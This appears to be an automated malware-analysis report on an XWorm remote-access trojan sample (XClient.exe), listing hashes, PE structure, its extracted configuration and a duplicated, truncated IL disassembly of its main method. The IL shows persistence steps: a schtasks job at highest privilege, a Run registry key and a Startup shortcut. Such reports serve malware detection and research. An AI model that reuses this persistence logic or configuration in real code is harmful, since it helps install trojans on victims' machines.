Malicious
Malicious

d3884fbe0e53b14e8d9b296982e2650f

PE Executable
|
MD5: d3884fbe0e53b14e8d9b296982e2650f
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Size: 76.8 KB
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application/x-dosexec

Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Very high

Hash
Hash Value
MD5
d3884fbe0e53b14e8d9b296982e2650f
Sha1
bc9136fde70574f43d957e791778b5e7858b0c74
Sha256
b73602feeec72bb7ee7c20a0eedfd03fc3d1db35d086aad45ed9fa72a601192a
Sha384
7a25cce3e79fba9c07a377845d03d22b5e51b83885b20c4dcd8016831da0cf6b5d63b3fbca10384cfb79bcfef9df2a6b
Sha512
5976864dea659e7dc221dfc4320a5f84ca730ec751db2a4ad0e464b824cc1e04d3ca7361bf699250f792bc425adea1f52aa47afe113f0ec9250743f8db0af4f2
SSDeep
1536:ze4NPhI7/0XUmJmDkuv3YEYzC+yrbXG33BGBJ0S6kj6sxwOGMyYtCq:S4N40XUmJmDHv3aYbW3qGS6k5xwObyY/
TLSH
BA738C2C37E50026F0FFABB019E53213CA39F7631903C65FA4C9029A5B27A89CD516E9

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

hkRjpfJOPEbwFcT+blnSKvTSl1oB3d7DBFRt1x0EUln+aBQCW6jtgGBnPaskSulF

KEY

hkRjpfJOPEbwFcT+blnSKvTSl1oB3d7DBFRt1x0EUln+aBQCW6jtgGBnPaskSulF

USBNM

QKe6tbRRG5OYs8BdhI4hJQ==

family

xworm

Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

XClient.exe

Full Name

XClient.exe

EntryPoint

System.Void Stub.9EyKQE5DL2::NroPAavGRM()

Scope Name

XClient.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

XClient

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

355

Main Method

System.Void Stub.9EyKQE5DL2::NroPAavGRM()

Main IL Instruction Count

318

Main IL

ldsfld System.Int32 MczbMYvkYa::aBuA7TCXCA ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String MczbMYvkYa::FMddDgixIx call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::FMddDgixIx ldsfld System.String MczbMYvkYa::oCvtGRnz1D call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::oCvtGRnz1D ldsfld System.String MczbMYvkYa::lqpqOKntSz call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::lqpqOKntSz ldsfld System.String MczbMYvkYa::oblGKlidx7 call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::oblGKlidx7 ldsfld System.String MczbMYvkYa::paGDerRv4f call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::paGDerRv4f ldsfld System.String MczbMYvkYa::qoL8LC4aWL call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::qoL8LC4aWL ldsfld System.String MczbMYvkYa::KpdgR7vQGk call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String MczbMYvkYa::KpdgR7vQGk ldsfld System.String MczbMYvkYa::NXLmVxmBNA call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::NXLmVxmBNA leave.s IL_00CB: call System.Boolean Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::wNNTKloYpdLbsuvnKSKEBQ9nPGOZe9yHXVi898TCwuAGA() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::wNNTKloYpdLbsuvnKSKEBQ9nPGOZe9yHXVi898TCwuAGA() call System.Boolean Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::wNNTKloYpdLbsuvnKSKEBQ9nPGOZe9yHXVi898TCwuAGA() brtrue.s IL_00D8: call System.Void Stub.9EyKQE5DL2::g2OMO8EJxFKjrPwj2lsLYNmRtI128cbRytQpQuJw8MSP7VzSvXgv6FNMo4w26DYQ6xi47uzKTPcYLbSlNmpCZ() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.9EyKQE5DL2::g2OMO8EJxFKjrPwj2lsLYNmRtI128cbRytQpQuJw8MSP7VzSvXgv6FNMo4w26DYQ6xi47uzKTPcYLbSlNmpCZ() leave.s IL_00EE: call System.Void Stub.9EyKQE5DL2::8qg8HUJxFG() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: call System.Void Stub.9EyKQE5DL2::8qg8HUJxFG() call System.Void Stub.9EyKQE5DL2::8qg8HUJxFG() ldsfld System.String MczbMYvkYa::KpdgR7vQGk ldstr \ ldsfld System.String MczbMYvkYa::NXLmVxmBNA call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0135: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_014C: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::XVCWtBrVrLTzD6mdyphvisFsrewZmh08VXXsO7O9H0taPvSCdxYPbwuJX9E76qg82iexG3NyoZX8b call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0177: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0177: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.DafvT1Abui5PfoxbQ2Y2Mxz1of3IFFY8th8nseeBU3Ugz2QTyrnV2F8M6o8XRPOF6UCBNFwaZ0kuMoL1THOJB::NZI3rtDy9mhHvJp00YJGnmq7MMe() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01DD: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String MczbMYvkYa::NXLmVxmBNA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0221: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String MczbMYvkYa::NXLmVxmBNA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0242: call My.IzMTF3lxTz My.SFiVu7mBSx::T4qi0Xku7U() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0242: call My.IzMTF3lxTz My.SFiVu7mBSx::T4qi0Xku7U() call My.IzMTF3lxTz My.SFiVu7mBSx::T4qi0Xku7U() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String MczbMYvkYa::NXLmVxmBNA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_027D: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027D: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String MczbMYvkYa::NXLmVxmBNA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0302: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::t1mgCDTmmufCrq1ViQqpWeVHV4VWNhoVDONflZxvapa1yNZmJnN0Hi62InyRAHzYyE2l2celcZI4P leave.s IL_0381: call System.Void Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::mfpBNQS35NztQXNV2r3qHsND5rB7cYWQLLiuBbh3gI5Dt() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0381: call System.Void Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::mfpBNQS35NztQXNV2r3qHsND5rB7cYWQLLiuBbh3gI5Dt() call System.Void Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::mfpBNQS35NztQXNV2r3qHsND5rB7cYWQLLiuBbh3gI5Dt() ldnull <null> ldftn System.Void Stub.9EyKQE5DL2::3rUBwakt7aBvDSCve7If7ZT2tYC4LsWFGYV3whD9q4Sirf4ErPctjDrIz4ZmijbZ95DZqqi8Qlnn2y8QteczJ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.DafvT1Abui5PfoxbQ2Y2Mxz1of3IFFY8th8nseeBU3Ugz2QTyrnV2F8M6o8XRPOF6UCBNFwaZ0kuMoL1THOJB::NZI3rtDy9mhHvJp00YJGnmq7MMe() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03AD: ldnull call System.Void Stub.aL2pfmsNYaeOE1SgDXj59g6KrfhsmOpYoKu6xYJ3geR16::MLY1nlLZeEmVoI71kTTcdXx9siQOWkZ66FXlNWN5sLDHV() ldnull <null> ldftn System.Void Stub.9EyKQE5DL2::kkFceZxrPkeYIaeWWUMKjiaVgp15mGL2TWw6A71BbcFYiySrLAiYRzqSiJuZgcoLU268nNQqGGMxfOJ0HR6lW() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.9EyKQE5DL2::iiRPuYdwqHBtn2GGkg0w16gLBkH3duPTjuczJyoKoDbsgg5TgamewecC5enlRzDwNr4N6LyBvGU15wQUfwm4g() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Module Name

XClient.exe

Full Name

XClient.exe

EntryPoint

System.Void Stub.9EyKQE5DL2::NroPAavGRM()

Scope Name

XClient.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

XClient

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

355

Main Method

System.Void Stub.9EyKQE5DL2::NroPAavGRM()

Main IL Instruction Count

318

Main IL

ldsfld System.Int32 MczbMYvkYa::aBuA7TCXCA ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String MczbMYvkYa::FMddDgixIx call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::FMddDgixIx ldsfld System.String MczbMYvkYa::oCvtGRnz1D call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::oCvtGRnz1D ldsfld System.String MczbMYvkYa::lqpqOKntSz call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::lqpqOKntSz ldsfld System.String MczbMYvkYa::oblGKlidx7 call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::oblGKlidx7 ldsfld System.String MczbMYvkYa::paGDerRv4f call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::paGDerRv4f ldsfld System.String MczbMYvkYa::qoL8LC4aWL call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::qoL8LC4aWL ldsfld System.String MczbMYvkYa::KpdgR7vQGk call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String MczbMYvkYa::KpdgR7vQGk ldsfld System.String MczbMYvkYa::NXLmVxmBNA call System.Object Stub.QyP5Ztkd4yept7Lxrd7eT08MumW5i3ddF90r2dDjFfF9M::A0pkgCF1568DqE3LFHYQy1i4yVmAsQ5zHsOM7PvQ81VCR(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String MczbMYvkYa::NXLmVxmBNA leave.s IL_00CB: call System.Boolean Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::wNNTKloYpdLbsuvnKSKEBQ9nPGOZe9yHXVi898TCwuAGA() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::wNNTKloYpdLbsuvnKSKEBQ9nPGOZe9yHXVi898TCwuAGA() call System.Boolean Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::wNNTKloYpdLbsuvnKSKEBQ9nPGOZe9yHXVi898TCwuAGA() brtrue.s IL_00D8: call System.Void Stub.9EyKQE5DL2::g2OMO8EJxFKjrPwj2lsLYNmRtI128cbRytQpQuJw8MSP7VzSvXgv6FNMo4w26DYQ6xi47uzKTPcYLbSlNmpCZ() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.9EyKQE5DL2::g2OMO8EJxFKjrPwj2lsLYNmRtI128cbRytQpQuJw8MSP7VzSvXgv6FNMo4w26DYQ6xi47uzKTPcYLbSlNmpCZ() leave.s IL_00EE: call System.Void Stub.9EyKQE5DL2::8qg8HUJxFG() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: call System.Void Stub.9EyKQE5DL2::8qg8HUJxFG() call System.Void Stub.9EyKQE5DL2::8qg8HUJxFG() ldsfld System.String MczbMYvkYa::KpdgR7vQGk ldstr \ ldsfld System.String MczbMYvkYa::NXLmVxmBNA call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0135: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_014C: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.xbvZJWNm2T0S1aoR2Vf6p70Luqii0omKe7GFpvhy5zZ1M::XVCWtBrVrLTzD6mdyphvisFsrewZmh08VXXsO7O9H0taPvSCdxYPbwuJX9E76qg82iexG3NyoZX8b call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0177: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0177: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.DafvT1Abui5PfoxbQ2Y2Mxz1of3IFFY8th8nseeBU3Ugz2QTyrnV2F8M6o8XRPOF6UCBNFwaZ0kuMoL1THOJB::NZI3rtDy9mhHvJp00YJGnmq7MMe() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01DD: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String MczbMYvkYa::NXLmVxmBNA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0221: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String MczbMYvkYa::NXLmVxmBNA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0242: call My.IzMTF3lxTz My.SFiVu7mBSx::T4qi0Xku7U() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0242: call My.IzMTF3lxTz My.SFiVu7mBSx::T4qi0Xku7U() call My.IzMTF3lxTz My.SFiVu7mBSx::T4qi0Xku7U() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String MczbMYvkYa::NXLmVxmBNA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_027D: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void 